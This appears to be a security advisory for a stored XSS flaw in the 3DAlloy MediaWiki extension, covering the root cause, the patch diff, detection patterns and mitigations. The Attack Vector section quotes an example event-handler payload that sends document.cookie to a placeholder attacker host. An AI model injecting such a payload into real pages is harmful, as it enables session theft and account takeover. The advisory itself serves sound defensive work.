CVE-2025-59332: 3DAlloy MediaWiki Extension XSS Flaw

CVE-2025-59332 Overview

CVE-2025-59332 is a stored Cross-Site Scripting (XSS) vulnerability in 3DAlloy, a lightweight 3D-viewer extension for MediaWiki. Versions 1.0 through 1.8 are affected. The <3d> parser tag and the {{#3d}} parser function accept user-supplied attributes that are appended directly to the <canvas> HTML element rendered by the extension. The extension fails to sanitize these attributes, allowing attackers to inject arbitrary JavaScript that executes in the browser of any user viewing the page. The flaw is categorized under [CWE-79] and carries a network-exploitable attack surface with no privileges or user interaction required to inject the payload.

Critical Impact
Unauthenticated attackers with page-edit ability can inject persistent JavaScript that executes against every visitor, enabling session theft, account takeover, and wiki defacement.

Affected Products

3DAlloy extension for MediaWiki, version 1.0
3DAlloy extension for MediaWiki, versions 1.1 through 1.7
3DAlloy extension for MediaWiki, version 1.8

Discovery Timeline

2025-09-15 - CVE-2025-59332 published to NVD
2026-04-15 - Last updated in NVD database

Technical Details for CVE-2025-59332

Vulnerability Analysis

The 3DAlloy extension exposes two MediaWiki rendering primitives: the <3d> parser tag and the {{#3d}} parser function. Both primitives accept a key-value attribute list from wiki content and forward it to PHP's Html::element('canvas', $par, $input) call. Because $par is passed straight through without an allow-list filter, any attribute name, including event handlers such as onload, onerror, or onmouseover, is rendered into the resulting HTML. An attacker who can edit a wiki page, which on many MediaWiki installations is an unauthenticated or low-privilege action, can store a malicious payload that fires when any reader loads the page. Successful exploitation runs JavaScript in the victim's session context, defeating same-origin protections for the wiki domain.

Root Cause

The root cause is missing attribute sanitization in 3DAlloy_body.php. The extension trusts caller-supplied parser attributes as safe HTML attributes for the <canvas> element. MediaWiki provides Sanitizer::validateAttributes() for exactly this use case, but the vulnerable code path never invokes it before emitting the element.

Attack Vector

An attacker edits any wiki page that permits the <3d> tag and supplies an attribute payload such as onload="fetch('//attacker/?c='+document.cookie)". When a victim renders the page, the injected handler executes in the wiki origin. Stored XSS in a MediaWiki instance is particularly impactful for administrator targeting and CSRF chaining against the MediaWiki API.

php

       }
     }
 
+    $par = Sanitizer::validateAttributes( $par, [
+      'file', 'width', 'height', 'color', 'opacity', 'zoom', 'pan', 'norotate', 'scale', 'z', 'style', 'class',
+    ] );
+
     $elem = Html::element('canvas', $par, $input);
 
     return [ $elem, 'noParse'=> true, 'isHTML'=> 'true' ];

Source: GitHub Commit 9fac793. The patch wraps the attribute array with Sanitizer::validateAttributes() and constrains accepted keys to a fixed allow-list before the canvas element is rendered.

Detection Methods for CVE-2025-59332

Indicators of Compromise

Wiki page revisions containing <3d> tags or {{#3d}} parser invocations with attribute names outside the documented set (file, width, height, color, opacity, zoom, pan, norotate, scale, z, style, class).
Rendered HTML pages where <canvas> elements contain DOM event handlers such as onload, onerror, onclick, or onmouseover.
Outbound browser requests from wiki readers to unexpected domains immediately after viewing a page that embeds 3DAlloy content.

Detection Strategies

Grep the MediaWiki text table or page dumps for the regular expression <3d[^>]*on[a-z]+\s*= to surface stored payloads.
Audit recent page revisions touching pages with 3D content and flag diffs that introduce JavaScript URI schemes such as javascript: or data:text/html.
Deploy a Content Security Policy (CSP) report-only header and monitor script-src violations originating from wiki article pages.

Monitoring Recommendations

Forward MediaWiki access logs and CSP violation reports to a centralized analytics pipeline and alert on script execution anomalies tied to article views.
Monitor for credential exfiltration patterns such as cookies or CSRF tokens appearing in outbound URL query strings from authenticated wiki sessions.
Track edits to pages containing 3DAlloy markup and require review for any change introducing new attribute keys.

How to Mitigate CVE-2025-59332

Immediate Actions Required

Upgrade the 3DAlloy extension to the version containing commit 9fac793 or later, which enforces the attribute allow-list.
If immediate upgrade is not possible, disable the 3DAlloy extension by removing the wfLoadExtension('3DAlloy') entry from LocalSettings.php.
Audit all existing wiki revisions that use the <3d> tag or {{#3d}} parser function and purge or revert any revision containing event-handler attributes.

Patch Information

The fix is published in the upstream repository via GitHub Commit 9fac793 and described in the GitHub Security Advisory GHSA-f2rp-232x-mqrh. The patch calls Sanitizer::validateAttributes() against an explicit allow-list before emitting the <canvas> element.

Workarounds

Restrict wiki editing permissions so only trusted, authenticated users can modify pages that embed 3DAlloy markup.
Apply a strict Content Security Policy that forbids inline event handlers and restricts script-src to trusted origins.
Manually patch 3DAlloy_body.php with the Sanitizer::validateAttributes() call shown in the upstream commit if you cannot upgrade the extension version.

bash

# Disable the extension until patched
sed -i "/wfLoadExtension( '3DAlloy' )/d" /var/www/mediawiki/LocalSettings.php
sudo systemctl reload php-fpm